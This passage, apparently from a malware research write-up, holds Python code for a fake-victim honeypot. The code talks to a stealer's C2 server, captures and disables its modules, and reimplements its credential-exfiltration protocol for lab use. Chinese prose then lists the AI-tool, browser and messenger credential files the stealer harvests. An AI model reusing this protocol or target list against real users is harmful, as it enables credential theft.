context=ctx) as resp: data = resp.read(1024 * 1024) return HTTPObservation(method, url, getattr(resp, "status", None), len(data), sha256_bytes(data) if data else None, resp.headers.get("Content-Type", ""), response_preview(data)) except urllib.error.HTTPError as exc: try: data = exc.read(1024 * 1024) except Exception: data = b"" return HTTPObservation(method, url, exc.code, len(data), sha256_bytes(data) if data else None, exc.headers.get("Content-Type", "") if exc.headers else "", response_preview(data), f"HTTP error: {exc}") except Exception as exc: return HTTPObservation(method, url, None, 0, None, "", "", str(exc)) def delivery_cycle(args, profile, log): base = args.delivery_base.rstrip("/") query = urllib.parse.urlencode({"pc": profile.hostname, "country": profile.country}) start_url, screen_url, end_url = f"{base}/start.php?{query}", f"{base}/screen.php?{query}", f"{base}/end.php?{query}" png = make_synthetic_desktop_png(args.screen_width, args.screen_height) image_uri = "data:image/png;base64," + base64.b64encode(png).decode("ascii") screen_body = urllib.parse.urlencode({"pc": profile.hostname, "image": image_uri}).encode("ascii") log.event("PROFILE", f"Synthetic delivery victim: host={profile.hostname} country={profile.country}", module="delivery", synthetic=True, profile=asdict(profile)) log.event("SCREEN", f"Generated synthetic desktop PNG: {len(png)} bytes sha256={sha256_bytes(png)}", module="delivery", png_sha256=sha256_bytes(png)) if args.dry_run: log.event("DRYRUN", f"GET {start_url}", module="delivery") log.event("DRYRUN", f"POST {screen_url} fields=[pc,image] encoded_bytes={len(screen_body)}", module="delivery") log.event("DRYRUN", f"GET {end_url}", module="delivery") return for tag, method, url, body in [("START", "GET", start_url, None), ("SCREEN", "POST", screen_url, screen_body), ("END", "GET", end_url, None)]: obs = http_request(method, url, user_agent=args.staging_ua, body=body, timeout=args.delivery_timeout, insecure_tls=args.insecure_tls) log.event(tag, f"{method} {url} -> status={obs.status} bytes={obs.response_size}" + (f" error={obs.error}" if obs.error else ""), module="delivery", observation=asdict(obs)) if obs.preview: log.event("RESPONSE", f"{tag} response preview (recorded only, never executed): {obs.preview!r}", module="delivery") # --------------------------------------------------------------------------- # Module 2: TCP/406 WebSocket synthetic victim # --------------------------------------------------------------------------- def ws_encode(payload, opcode=WS_OP_BINARY): mask = secrets.token_bytes(4); out = bytearray([0x80 | (opcode & 0x0F)]); n = len(payload) if n <= 125: out.append(0x80 | n) elif n <= 0xFFFF: out.append(0x80 | 126); out.extend(struct.pack(">H", n)) else: out.append(0x80 | 127); out.extend(struct.pack(">Q", n)) out.extend(mask); out.extend(bytes(b ^ mask[i % 4] for i, b in enumerate(payload))) return bytes(out) class WSReader: def __init__(self, sock, leftover=b""): self.sock = sock; self.buf = bytearray(leftover); self.frag_opcode = None; self.frag_payload = bytearray() def _need(self, n): while len(self.buf) < n: chunk = self.sock.recv(4096) if not chunk: raise ConnectionError("peer closed") self.buf.extend(chunk) def read_frame(self, timeout=1.0): self.sock.settimeout(timeout) try: self._need(2) except socket.timeout: return None b0, b1 = self.buf[0], self.buf[1]; fin = bool(b0 & 0x80); opcode = b0 & 0x0F; masked = bool(b1 & 0x80); ln = b1 & 0x7F; pos = 2 if ln == 126: self._need(pos + 2); ln = struct.unpack(">H", self.buf[pos:pos+2])[0]; pos += 2 elif ln == 127: self._need(pos + 8); ln = struct.unpack(">Q", self.buf[pos:pos+8])[0]; pos += 8 mask = b"" if masked: self._need(pos + 4); mask = bytes(self.buf[pos:pos+4]); pos += 4 self._need(pos + ln); payload = bytearray(self.buf[pos:pos+ln]); del self.buf[:pos+ln] if masked: for i in range(ln): payload[i] ^= mask[i % 4] return fin, opcode, bytes(payload) def read_message(self, timeout=1.0): while True: fr = self.read_frame(timeout) if fr is None: return None fin, opcode, payload = fr if opcode in (WS_OP_CLOSE, WS_OP_PING, WS_OP_PONG): return opcode, payload if opcode in (WS_OP_TEXT, WS_OP_BINARY): if fin: return opcode, payload self.frag_opcode = opcode; self.frag_payload = bytearray(payload); continue if opcode == WS_OP_CONT and self.frag_opcode is not None: self.frag_payload.extend(payload) if fin: op, data = self.frag_opcode, bytes(self.frag_payload); self.frag_opcode = None; self.frag_payload.clear(); return op, data def websocket_handshake(sock, host, port, log, user_agent): host_header = host if port == 80 else f"{host}:{port}" request = (f"GET / HTTP/1.1\r\nHost: {host_header}\r\nUpgrade: websocket\r\nConnection: Upgrade\r\nSec-WebSocket-Key: {WS_KEY}\r\nSec-WebSocket-Version: 13\r\nUser-Agent: {user_agent}\r\n\r\n").encode("ascii") sock.sendall(request); sock.settimeout(15); resp = bytearray() while b"\r\n\r\n" not in resp: chunk = sock.recv(4096) if not chunk: raise ConnectionError("peer closed before WebSocket handshake completed") resp.extend(chunk) if len(resp) > MAX_HTTP_HEADER: raise ValueError("WebSocket handshake header exceeded safety limit") head, leftover = bytes(resp).split(b"\r\n\r\n", 1); lines = head.decode("iso-8859-1", errors="replace").split("\r\n"); status = lines[0] if lines else ""; headers = {} for line in lines[1:]: if ":" in line: k, v = line.split(":", 1); headers[k.strip().lower()] = v.strip() log.event("HANDSHAKE", f"Control channel response: {status}", module="c2-406") if "101" not in status: raise ConnectionError(f"server did not return HTTP 101: {status}") expected = base64.b64encode(hashlib.sha1((WS_KEY + WS_GUID).encode("ascii")).digest()).decode("ascii") actual = headers.get("sec-websocket-accept", "") if actual and actual != expected: raise ConnectionError(f"unexpected Sec-WebSocket-Accept: {actual!r}") return leftover # --------------------------------------------------------------------------- # Module 3: task-triggered TCP/408 module collector # --------------------------------------------------------------------------- @dataclass(frozen=True) class ModuleTask: task_type: str task_id: str = "" version: str = "unknown" param: str = "" raw: str = "" def parse_createtask(text): parts = [x.strip() for x in text.strip().split(";")] if len(parts) < 3: return None if parts[0].lower() == "task" and parts[1].lower() == "createtask": i = 2 elif parts[0].lower() == "createtask": i = 1 else: return None task_type = ""; fields = {"task_id": "", "version": "unknown", "param": ""} if i < len(parts) and parts[i].lower() not in {"task_id", "version", "param", "type"}: task_type = parts[i]; i += 1 while i < len(parts): key = parts[i].lower() if key == "type" and i + 1 < len(parts): task_type = parts[i+1]; i += 2 elif key in fields and i + 1 < len(parts): fields[key] = parts[i+1]; i += 2 else: i += 1 if not task_type: return None return ModuleTask(task_type, fields["task_id"], fields["version"] or "unknown", fields["param"], text) def minimal_pe_meta(raw): meta = {"pe_like": False} if len(raw) < 0x40 or raw[:2] != b"MZ": return meta try: e = struct.unpack_from(" len(raw) or raw[e:e+4] != b"PE\x00\x00": return meta machine, sections, ts = struct.unpack_from("= 2: raw[:2] = b"NZ"; patches.append("MZ signature changed to NZ") if isinstance(e, int) and 0 <= e <= len(raw)-4: raw[e:e+4] = b"\x00"*4; patches.append("PE signature zeroed") if e+6 <= len(raw): raw[e+4:e+6] = b"\x00"*2; patches.append("COFF Machine zeroed") if e+26 <= len(raw): raw[e+24:e+26] = b"\x00"*2; patches.append("Optional Header magic zeroed") if len(raw) >= 0x40: raw[0x3C:0x40] = b"\x00"*4; patches.append("e_lfanew zeroed") return patches def fetch_task_module_http(host, port, task_type, checkin_id, timeout, max_bytes, log): if not safe_component(task_type): raise ValueError("task type contains unsafe characters") if not safe_component(checkin_id, 32): raise ValueError("check-in ID contains unsafe characters") req = (f"GET /task/{task_type} HTTP/1.1\r\nHost: {host}\r\nUser-Agent: {checkin_id}\r\nConnection: close\r\n\r\n").encode("ascii") log.event("MODULE-GET", f"GET {host}:{port}/task/{task_type} User-Agent={checkin_id}", module="c2-408") with socket.create_connection((host, port), timeout=timeout) as sk: sk.settimeout(timeout); sk.sendall(req); buf = bytearray() while b"\r\n\r\n" not in buf: chunk = sk.recv(4096) if not chunk: break buf.extend(chunk) if len(buf) > MAX_HTTP_HEADER: raise ValueError("HTTP response header exceeded safety limit") if b"\r\n\r\n" not in buf: raise ValueError("incomplete HTTP response") head, first = bytes(buf).split(b"\r\n\r\n", 1); lines = head.decode("iso-8859-1", errors="replace").split("\r\n") try: status = int(lines[0].split()[1]) except (IndexError, ValueError): raise ValueError(f"invalid HTTP status line: {lines[0]!r}") headers = {} for line in lines[1:]: if ":" in line: k, v = line.split(":", 1); headers[k.strip().lower()] = v.strip() if status != 200: raise ValueError(f"module endpoint returned HTTP {status}") body = bytearray(first); expected = None if "content-length" in headers: expected = int(headers["content-length"]) if expected <= 0 or expected > max_bytes: raise ValueError(f"Content-Length outside safety limit: {expected}") while True: if len(body) > max_bytes: raise ValueError(f"module exceeded maximum allowed size ({max_bytes} bytes)") if expected is not None and len(body) >= expected: del body[expected:]; break chunk = sk.recv(min(65536, max_bytes + 1 - len(body))) if not chunk: break body.extend(chunk) if expected is not None and len(body) != expected: raise ValueError(f"short HTTP body: {len(body)}/{expected}") if not body: raise ValueError("empty module body") return headers, body class ModuleCaptureManager: def __init__(self, args, log): self.args, self.log, self.seen = args, log, set() def capture(self, task, profile): allowed = self.args.capture_type or ["Stealer"] if task.task_type.lower() not in {x.lower() for x in allowed}: self.log.event("MODULE-SKIP", f"Task type {task.task_type!r} is not in allowlist {allowed}", module="c2-408"); return key = (profile.checkin_id.lower(), task.task_type.lower(), task.version.lower(), task.task_id.lower()) if key in self.seen: self.log.event("MODULE-SKIP", "Duplicate module task already processed", module="c2-408"); return self.seen.add(key); raw = None try: host = self.args.task_host or self.args.c2_host headers, raw = fetch_task_module_http(host, self.args.task_port, task.task_type, profile.checkin_id, self.args.task_timeout, self.args.max_module_bytes, self.log) orig_size, orig_sha, pe = len(raw), sha256_bytes(raw), minimal_pe_meta(raw) if not pe.get("pe_like"): self.log.event("MODULE-SAFE", f"408 returned {orig_size} bytes sha256={orig_sha}, but body is not a valid PE; nothing written", module="c2-408"); return patches = neuter_pe(raw, pe); qsha = sha256_bytes(raw); outdir = Path(self.args.capture_dir); outdir.mkdir(parents=True, exist_ok=True) try: os.chmod(outdir, 0o700) except OSError: pass ver = task.version if safe_component(task.version, 32) else "unknown"; tid = task.task_id if safe_component(task.task_id, 64) else "noid"; ttype = task.task_type if safe_component(task.task_type) else "module" base = f"{datetime.now().strftime('%Y%m%d_%H%M%S')}_synthetic_{ttype}_{ver}_{tid}_{orig_sha[:12]}" dp, mp = outdir/(base+".quarantine.bin"), outdir/(base+".metadata.json") fd = os.open(dp, os.O_WRONLY|os.O_CREAT|os.O_EXCL, 0o600) with os.fdopen(fd, "wb") as fp: fp.write(raw); fp.flush() read_only(dp) rec = {"capture_time_utc": Logger.iso(), "task": asdict(task), "synthetic_checkin_id": profile.checkin_id, "control_channel": {"host": self.args.c2_host, "port": self.args.control_port}, "task_channel": {"host": host, "port": self.args.task_port, "path": f"/task/{task.task_type}", "user_agent": profile.checkin_id, "response_headers": headers}, "original_in_memory_only": {"size": orig_size, "sha256": orig_sha, "pe": pe}, "quarantine": {"file": dp.name, "sha256": qsha, "patches": patches, "original_header_bytes_preserved": False}, "safety": "Original PE bytes were never written to disk; executable-identifying fields were destroyed before disk I/O."} with open(mp, "x", encoding="utf-8") as fp: json.dump(rec, fp, ensure_ascii=False, indent=2) read_only(mp) self.log.event("MODULE", f"Captured and neutered {task.task_type} {ver}: {dp} original_size={orig_size} original_sha256={orig_sha}", module="c2-408") except Exception as exc: self.log.event("MODULE-ERR", f"Module collection failed: {exc}", module="c2-408", task=asdict(task)) finally: if raw is not None: for i in range(len(raw)): raw[i] = 0 def classify_control_message(text): t = text.strip().lower() if t.startswith("ping"): return "PING" if t.startswith("pong"): return "PONG" if t.startswith("getinfo"): return "GETINFO" if t.startswith("checkserver"): return "CHECKSERVER" if t.startswith("task;") or t.startswith("createtask"): return "TASK" if t.startswith("closetask"): return "CLOSETASK" if t.startswith("update"): return "UPDATE" if t.startswith("task_done;"): return "TASK_DONE" return "UNCLASSIFIED" def run_honeypot(args, profile, log): checkin, info = profile.checkin_message(), profile.info_message() log.event("PROFILE", f"Synthetic C2 victim: id={profile.checkin_id} user={profile.username} os={profile.os_version!r} av={profile.av_product!r}", module="c2-406", profile=asdict(profile)) if args.dry_run: log.event("DRYRUN", f"Would connect to {args.c2_host}:{args.control_port}/WebSocket", module="c2-406") log.event("DRYRUN", f"Would send: {checkin!r}", module="c2-406") log.event("DRYRUN", f"Would answer getinfo with: {info!r}", module="c2-406") if args.capture_modules: log.event("DRYRUN", f"Allowlisted createtask events would trigger TCP/408 retrieval from {args.task_host or args.c2_host}:{args.task_port}", module="c2-408") return manager = ModuleCaptureManager(args, log) if args.capture_modules else None; deadline = None if args.observe <= 0 else time.time() + args.observe with socket.create_connection((args.c2_host, args.control_port), timeout=args.connect_timeout) as sock: reader = WSReader(sock, websocket_handshake(sock, args.c2_host, args.control_port, log, args.c2_user_agent)) sock.sendall(ws_encode(checkin.encode())); log.event("SEND", f"Registered synthetic victim: {checkin!r}", module="c2-406") while True: if deadline is not None and time.time() >= deadline: log.event("INFO", f"Observation window ended after {args.observe:.1f} seconds", module="c2-406"); break msg = reader.read_message(timeout=1.0) if msg is None: continue opcode, payload = msg if opcode == WS_OP_CLOSE: log.event("RECV", "Server sent WebSocket CLOSE", module="c2-406"); break if opcode == WS_OP_PING: sock.sendall(ws_encode(payload, opcode=WS_OP_PONG)); log.event("SEND", "Replied to WebSocket PING with PONG", module="c2-406"); continue if opcode == WS_OP_PONG: log.event("RECV", "Received WebSocket PONG", module="c2-406"); continue text = payload.decode("utf-8", errors="replace"); kind = classify_control_message(text) log.event("RECV", f"C2 command [{kind}]: {text!r}", module="c2-406", command=text, classification=kind, raw_sha256=sha256_bytes(payload)) low = text.strip().lower() if low.startswith("getinfo") and not args.no_getinfo_response: sock.sendall(ws_encode(info.encode())); log.event("SEND", f"Sent synthetic victim information: {info!r}", module="c2-406") elif low.startswith("ping"): sock.sendall(ws_encode(b"pong")); log.event("SEND", "Sent application-layer pong", module="c2-406") task = parse_createtask(text) if task: log.event("TASK", f"Observed createtask: type={task.task_type!r} id={task.task_id!r} version={task.version!r}", module="c2-406", task=asdict(task)) if manager: manager.capture(task, profile) else: log.event("MODULE-OFF", f"Task {task.task_type!r} recorded; TCP/408 collection is disabled", module="c2-408") # Intentionally: no task execution and no task_done response. try: sock.sendall(ws_encode(b"", opcode=WS_OP_CLOSE)) except OSError: pass # --------------------------------------------------------------------------- # Module 4: controlled TCP/1488 Stealer exfiltration protocol lab # --------------------------------------------------------------------------- def resolve_controlled_target(host): infos = socket.getaddrinfo(host, None, type=socket.SOCK_STREAM); addrs = [] for info in infos: addr = info[4][0] if addr not in addrs: addrs.append(addr) if not addrs: raise ValueError("target did not resolve") bad = [a for a in addrs if not (ipaddress.ip_address(a).is_loopback or ipaddress.ip_address(a).is_private or ipaddress.ip_address(a).is_link_local)] if bad: raise ValueError("1488 safety policy blocks public destinations. Use a loopback/private sinkhole or lab receiver. Rejected: " + ", ".join(bad)) return addrs def safe_archive_name(name): name = name.replace("\\", "/").strip(); p = PurePosixPath(name) if not name or "\x00" in name or len(name) > 240 or p.is_absolute() or ".." in p.parts or ":" in name: raise ValueError(f"unsafe archive entry path: {name!r}") return str(p) def deterministic_synthetic_bytes(label, size): if size < 0 or size > MAX_EXFIL_ENTRY: raise ValueError(f"synthetic entry size must be 0..{MAX_EXFIL_ENTRY}") seed = hashlib.sha256(("GENESIS-LAB:" + label).encode()).digest(); return (seed * ((size + len(seed)-1)//len(seed)))[:size] if size else b"" def parse_synthetic_entries(text_specs, byte_specs): entries = [] for spec in text_specs: if "=" not in spec: raise ValueError(f"--entry requires NAME=TEXT, got {spec!r}") name, text = spec.split("=", 1); name = safe_archive_name(name); data = text.encode() if len(data) > MAX_EXFIL_ENTRY: raise ValueError(f"entry {name!r} is too large") entries.append((name, data)) for spec in byte_specs: if "=" not in spec: raise ValueError(f"--entry-bytes requires NAME=SIZE, got {spec!r}") name, size_s = spec.rsplit("=", 1); name = safe_archive_name(name); entries.append((name, deterministic_synthetic_bytes(name, int(size_s, 0)))) if not entries: entries = [("Applications/Ai/Codex/auth.json", b'{"lab":true,"token":"SYNTHETIC_NOT_A_REAL_TOKEN"}\n'), ("Applications/Minecraft/launcher_accounts.json", b'{"lab":true,"account":"SYNTHETIC_ONLY"}\n'), ("LAB_README.txt", b"GENESIS-SU / REDHIVE 1488 PROTOCOL LAB - SYNTHETIC DATA ONLY\n")] if len(entries) > MAX_EXFIL_ENTRIES: raise ValueError(f"too many entries (max {MAX_EXFIL_ENTRIES})") if len({n for n,_ in entries}) != len(entries): raise ValueError("duplicate archive entry name") return entries def build_synthetic_zip(entries): bio = io.BytesIO() with zipfile.ZipFile(bio, "w", compression=zipfile.ZIP_DEFLATED) as zf: for name, data in entries: zi = zipfile.ZipInfo(safe_archive_name(name)); zi.date_time = (2026,1,1,0,0,0); zi.compress_type = zipfile.ZIP_DEFLATED; zi.external_attr = 0o100600 << 16; zf.writestr(zi, data) blob = bio.getvalue() if len(blob) > MAX_EXFIL_ARCHIVE: raise ValueError(f"archive exceeds {MAX_EXFIL_ARCHIVE} bytes") return blob def zip_manifest(blob): with zipfile.ZipFile(io.BytesIO(blob), "r") as zf: return [{"name": i.filename, "uncompressed_size": i.file_size, "compressed_size": i.compress_size, "crc32": f"{i.CRC:08x}"} for i in zf.infolist()] def recv_exact(sock, n): out = bytearray() while len(out) < n: chunk = sock.recv(n-len(out)) if not chunk: raise ConnectionError(f"peer closed after {len(out)}/{n} bytes") out.extend(chunk) return bytes(out) def recv_line(sock, limit=128): out = bytearray() while len(out) < limit: b = sock.recv(1) if not b: raise ConnectionError("peer closed before newline") out.extend(b) if b == b"\n": return bytes(out) raise ValueError("identity line exceeded limit") def receive_auth(sock, mode, timeout): sock.settimeout(timeout) if mode == "malware": data = sock.recv(0x100) if AUTH_MARKER not in data: raise RuntimeError(f"single-recv auth check failed; received={data!r}") return data buf = bytearray(); deadline = time.monotonic() + timeout while time.monotonic() < deadline and len(buf) < 4096: try: chunk = sock.recv(0x100) except socket.timeout: break if not chunk: break buf.extend(chunk) if AUTH_MARKER in buf: return bytes(buf) raise RuntimeError(f"auth marker not observed; received={bytes(buf)!r}") def run_exfil_server(args, log): resolve_controlled_target(args.bind) with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as srv: srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1); srv.bind((args.bind, args.exfil_port)); srv.listen(5) log.event("LISTEN", f"1488 lab receiver listening on {args.bind}:{args.exfil_port}", module="c2-1488-lab") for txn in range(1, args.transactions+1): conn, peer = srv.accept() with conn: conn.settimeout(args.exfil_timeout); ident = recv_line(conn); text = ident.decode("ascii", errors="replace").rstrip("\n") log.event("EXFIL-ID", f"Transaction {txn}: identity={text!r} from {peer[0]}", module="c2-1488-lab") if not re.fullmatch(r"stealer;[0-9A-Fa-f]{1,16}", text): raise ValueError(f"unexpected identity line: {text!r}") if args.auth_split and 0 < args.auth_split < len(AUTH_MARKER): conn.sendall(AUTH_MARKER[:args.auth_split]); time.sleep(args.auth_delay); conn.sendall(AUTH_MARKER[args.auth_split:]) else: conn.sendall(AUTH_MARKER) declared = struct.unpack(">Q", recv_exact(conn, 8))[0] if declared > args.max_archive: raise ValueError(f"declared archive length {declared} exceeds limit") archive = recv_exact(conn, declared); manifest = zip_manifest(archive) log.event("EXFIL-ZIP", f"Transaction {txn}: synthetic ZIP bytes={len(archive)} sha256={sha256_bytes(archive)} entries={len(manifest)}", module="c2-1488-lab", entries=manifest) def run_exfil_client(args, profile, log): resolve_controlled_target(args.exfil_host); entries = parse_synthetic_entries(args.entry, args.entry_bytes); batches = [entries] if args.layout == "batch" else [[e] for e in entries] for idx, batch in enumerate(batches, 1): archive = build_synthetic_zip(batch); ident = f"stealer;{profile.checkin_id}\n".encode("ascii"); wire_len = struct.pack(">Q", len(archive)) if args.dry_run: log.event("DRYRUN", f"1488 transaction {idx}: target={args.exfil_host}:{args.exfil_port} identity={ident!r} archive_bytes={len(archive)} length_wire={wire_len.hex()}", module="c2-1488-lab", manifest=zip_manifest(archive)); continue with socket.create_connection((args.exfil_host, args.exfil_port), timeout=args.exfil_timeout) as sock: sock.settimeout(args.exfil_timeout); sock.sendall(ident); ack = receive_auth(sock, args.ack_mode, args.exfil_timeout); sock.sendall(wire_len); sock.sendall(archive) try: sock.shutdown(socket.SHUT_WR) except OSError: pass log.event("EXFIL", f"Sent synthetic 1488 transaction {idx}: bytes={len(archive)} sha256={sha256_bytes(archive)} entries={len(batch)}", module="c2-1488-lab", ack_hex=ack.hex(), length_wire_hex=wire_len.hex(), entries=zip_manifest(archive)) def run_exfil_selftest(log): listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM); listener.bind(("127.0.0.1", 0)); listener.listen(1); port = listener.getsockname()[1]; result = {} def srv(): try: conn,_ = listener.accept() with conn: result["identity"] = recv_line(conn).decode().rstrip(); conn.sendall(AUTH_MARKER); n = struct.unpack(">Q", recv_exact(conn,8))[0]; body = recv_exact(conn,n); result["length"] = n; result["sha256"] = sha256_bytes(body); result["manifest"] = zip_manifest(body) finally: listener.close() t = threading.Thread(target=srv, daemon=True); t.start(); entries = [("Applications/Ai/Codex/auth.json", b'{"lab":true}\n'), ("Applications/Minecraft/test.txt", b"SYNTHETIC\n")]; archive = build_synthetic_zip(entries) with socket.create_connection(("127.0.0.1", port), timeout=3) as sock: sock.sendall(b"stealer;A1B2C3D4\n"); receive_auth(sock, "malware", 3); sock.sendall(struct.pack(">Q", len(archive))); sock.sendall(archive) t.join(3) assert result["length"] == len(archive) and result["sha256"] == sha256_bytes(archive) and [x["name"] for x in result["manifest"]] == [x[0] for x in entries] # Reproduce fragmented auth weakness. listener2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM); listener2.bind(("127.0.0.1", 0)); listener2.listen(1); port2 = listener2.getsockname()[1] def srv2(): try: conn,_ = listener2.accept() with conn: recv_line(conn); conn.sendall(b"aut"); time.sleep(0.15); conn.sendall(b"h_ok") finally: listener2.close() t2 = threading.Thread(target=srv2, daemon=True); t2.start(); failed = False try: with socket.create_connection(("127.0.0.1", port2), timeout=2) as sock: sock.sendall(b"stealer;A1B2C3D4\n"); receive_auth(sock, "malware", 1) except RuntimeError: failed = True t2.join(2); assert failed log.event("SELFTEST", "1488 loopback protocol self-test passed", module="c2-1488-lab", batch_zip_single_transaction=True, archive_entry_names_preserved=True, length_field="8-byte big-endian ZIP byte count", fragmented_auth_breaks_single_recv=True, external_network_calls=0) # --------------------------------------------------------------------------- # CLI # --------------------------------------------------------------------------- def add_common(p): p.add_argument("--logfile", default=None, help="append structured JSONL evidence") p.add_argument("--dry-run", action="store_true", help="print intended actions without networking") def add_profile(p): p.add_argument("--hostname", default="", help="synthetic computer name") p.add_argument("--user", default="", help="synthetic username") p.add_argument("--os", dest="os_version", default="", help="synthetic Windows version") p.add_argument("--av", default="", help="synthetic antivirus product") p.add_argument("--id", default="", help="synthetic 8-hex check-in ID") p.add_argument("--botid", default=CAMPAIGN_ID, help="observed campaign ID") p.add_argument("--country", default="", help="synthetic two-letter country code") def add_delivery(p): p.add_argument("--delivery-base", default=DEFAULT_DELIVERY_BASE) p.add_argument("--staging-ua", default=DEFAULT_STAGING_UA) p.add_argument("--delivery-timeout", type=float, default=15.0) p.add_argument("--screen-width", type=int, default=960) p.add_argument("--screen-height", type=int, default=540) p.add_argument("--insecure-tls", action="store_true", help="disable TLS certificate verification") def add_c2(p): p.add_argument("--c2-host", default=DEFAULT_C2_HOST) p.add_argument("--control-port", type=int, default=DEFAULT_CONTROL_PORT) p.add_argument("--observe", type=float, default=120.0, help="observation seconds; <=0 means no fixed deadline") p.add_argument("--connect-timeout", type=float, default=15.0) p.add_argument("--c2-user-agent", default="Mozilla/5.0 (Windows NT 10.0; Win64; x64)") p.add_argument("--no-getinfo-response", action="store_true") p.add_argument("--capture-modules", action="store_true", help="enable task-triggered TCP/408 module collection") p.add_argument("--task-host", default="", help="task host; defaults to --c2-host") p.add_argument("--task-port", type=int, default=DEFAULT_TASK_PORT) p.add_argument("--capture-type", action="append", default=None, metavar="TYPE", help="allowlisted module type; repeatable; default Stealer") p.add_argument("--capture-dir", default="captured_modules") p.add_argument("--task-timeout", type=float, default=12.0) p.add_argument("--max-module-bytes", type=int, default=MAX_MODULE_BYTES) def build_parser(): p = argparse.ArgumentParser(formatter_class=argparse.RawDescriptionHelpFormatter, description="Genesis-SU synthetic victim research suite\n\nAll victim data is synthetic. Remote commands/responses are recorded only and never executed.") sub = p.add_subparsers(dest="command", required=True) x = sub.add_parser("delivery", help="synthetic delivery/staging callbacks and fake screenshot upload"); add_common(x); add_profile(x); add_delivery(x) x = sub.add_parser("honeypot", help="register a synthetic victim on TCP/406; optionally collect allowlisted 408 modules"); add_common(x); add_profile(x); add_c2(x) x = sub.add_parser("workflow", help="delivery -> TCP/406 -> optional task-triggered TCP/408 using one synthetic identity"); add_common(x); add_profile(x); add_delivery(x); add_c2(x) x = sub.add_parser("exfil-server", help="controlled TCP/1488 laboratory receiver"); add_common(x); x.add_argument("--bind", default="127.0.0.1"); x.add_argument("--exfil-port", type=int, default=DEFAULT_EXFIL_PORT); x.add_argument("--transactions", type=int, default=1); x.add_argument("--auth-split", type=int, default=0); x.add_argument("--auth-delay", type=float, default=0.05); x.add_argument("--exfil-timeout", type=float, default=5.0); x.add_argument("--max-archive", type=int, default=MAX_EXFIL_ARCHIVE) x = sub.add_parser("exfil-client", help="send a synthetic ZIP to a controlled/private TCP/1488 receiver"); add_common(x); add_profile(x); x.add_argument("--exfil-host", default="127.0.0.1"); x.add_argument("--exfil-port", type=int, default=DEFAULT_EXFIL_PORT); x.add_argument("--entry", action="append", default=[], metavar="NAME=TEXT"); x.add_argument("--entry-bytes", action="append", default=[], metavar="NAME=SIZE"); x.add_argument("--layout", choices=["batch","single"], default="batch"); x.add_argument("--ack-mode", choices=["malware","robust"], default="malware"); x.add_argument("--exfil-timeout", type=float, default=5.0) x = sub.add_parser("exfil-selftest", help="run all TCP/1488 assertions on loopback only"); add_common(x) return p def validate(args): for name in ("control_port", "task_port", "exfil_port"): if hasattr(args, name) and not (1 <= getattr(args, name) <= 65535): raise SystemExit(f"--{name.replace('_','-')} must be 1..65535") if hasattr(args, "max_module_bytes") and not (512 <= args.max_module_bytes <= MAX_MODULE_BYTES): raise SystemExit(f"--max-module-bytes must be 512..{MAX_MODULE_BYTES}") if hasattr(args, "transactions") and not (1 <= args.transactions <= 64): raise SystemExit("--transactions must be 1..64") if hasattr(args, "country") and args.country and not re.fullmatch(r"[A-Za-z]{2}", args.country): raise SystemExit("--country must be a two-letter code") if hasattr(args, "id") and args.id and not re.fullmatch(r"[0-9A-Fa-f]{8}", args.id): raise SystemExit("--id must be exactly 8 hexadecimal characters") def main(): args = build_parser().parse_args(); validate(args); log = Logger(args.logfile) try: if args.command == "delivery": delivery_cycle(args, build_profile(args), log) elif args.command == "honeypot": run_honeypot(args, build_profile(args), log) elif args.command == "workflow": profile = build_profile(args); log.event("INFO", "Starting integrated workflow: delivery -> TCP/406" + (" -> task-triggered TCP/408" if args.capture_modules else ""), module="workflow"); delivery_cycle(args, profile, log); run_honeypot(args, profile, log) elif args.command == "exfil-server": if args.dry_run: resolve_controlled_target(args.bind); log.event("DRYRUN", f"Would listen on {args.bind}:{args.exfil_port}", module="c2-1488-lab") else: run_exfil_server(args, log) elif args.command == "exfil-client": run_exfil_client(args, build_profile(args), log) elif args.command == "exfil-selftest": run_exfil_selftest(log) return 0 except KeyboardInterrupt: log.event("STOP", "Interrupted by user"); return 130 except Exception as exc: log.event("ERROR", f"{type(exc).__name__}: {exc}"); return 1 finally: log.close() if __name__ == "__main__": raise SystemExit(main()) 从产品名一路追到真实收集路径 第二个模块第一眼就和前一个很不一样。它的任务不是常驻下来等命令,而是塞满了针对具体应用的收集逻辑。顺着这些逻辑继续往下看,而不是只停留在产品名称上,就会看到具体的路径、文件读取、数据库处理、密钥处理和压缩包条目。浏览器是一个主要目标,但收集范围远不止于此:消息应用、Steam、游戏启动器、钱包和浏览器扩展、VPN 与远程访问配置、截图、剪贴板内容、主机信息,以及普通用户文件都在其中。 其中 AI 工具相关分支和我的事件尤其相关,因为事后有多个 AI 产品出现了可疑账号活动。这个 Stealer 针对当前用户 Profile 下的 Claude Code、Codex 和 Gemini 本地数据,都实现了专门的收集器: %USERPROFILE%\.claude\settings.json %USERPROFILE%\.codex\auth.json %USERPROFILE%\.codex\config.toml %USERPROFILE%\.gemini\oauth_creds.json %USERPROFILE%\.gemini\google_accounts.json 代码会构造这些路径、检查文件、读取可用内容,然后交给归档逻辑,放到类似  Applications/Ai/Codex/ 和  Applications/Ai/Gemini/ 这样的应用专属目录下。Claude 分支更窄,只针对  settings.json;Codex 和 Gemini 则直接盯上了认证和账号相关文件。换句话说,这个版本并不需要完全依赖浏览器 Cookie,照样可以拿到有价值的 AI 工具状态。这和事件本身的吻合度,比我早期那句很泛化的“可能是浏览器会话”高得多。它说明 AI 开发工具本身已经成了第一类收集目标。 浏览器收集器则沿着熟悉的 Chromium 和 Firefox 痕迹走。Chromium 相关路径包括 Cookies、 Login Data、 Login Data For Account、 Web Data 和  Local State,密钥材料还有单独处理。Firefox 走自己的路径和 NSS 相关处理。数据库和密钥被分开处理这一点很重要。被偷走的  Login Data 数据库,并不自动等于“一份装满明文密码的文件”;但如果同时拿到了匹配的密钥材料,它依然很有价值。同理,被复制的 Cookie 和会话状态,有时甚至比密码更能立刻派上用场。DLL的实现并不完美。一些 SQLite 副本可能漏掉最近仍在 WAL 里的记录,部分 app-bound key 解析相当脆弱,还有几条错误处理路径,让这个 Stealer 的实际可靠性没有它的目标列表看起来那么高。这些弱点主要影响的是完整性,并不会改变一个基本事实:恶意软件知道这些数据在哪里,而且确实在尝试收集。 消息和游戏应用也是同样的模式。Telegram 对桌面端和 Web Session 材料有专门处理;Steam 有 Token 和 Cookie 相关路径;Discord 同时覆盖浏览器和桌面端数据,包括加密 Token 及对应的密钥处理。 MinecraftGrab 分支则盯上了 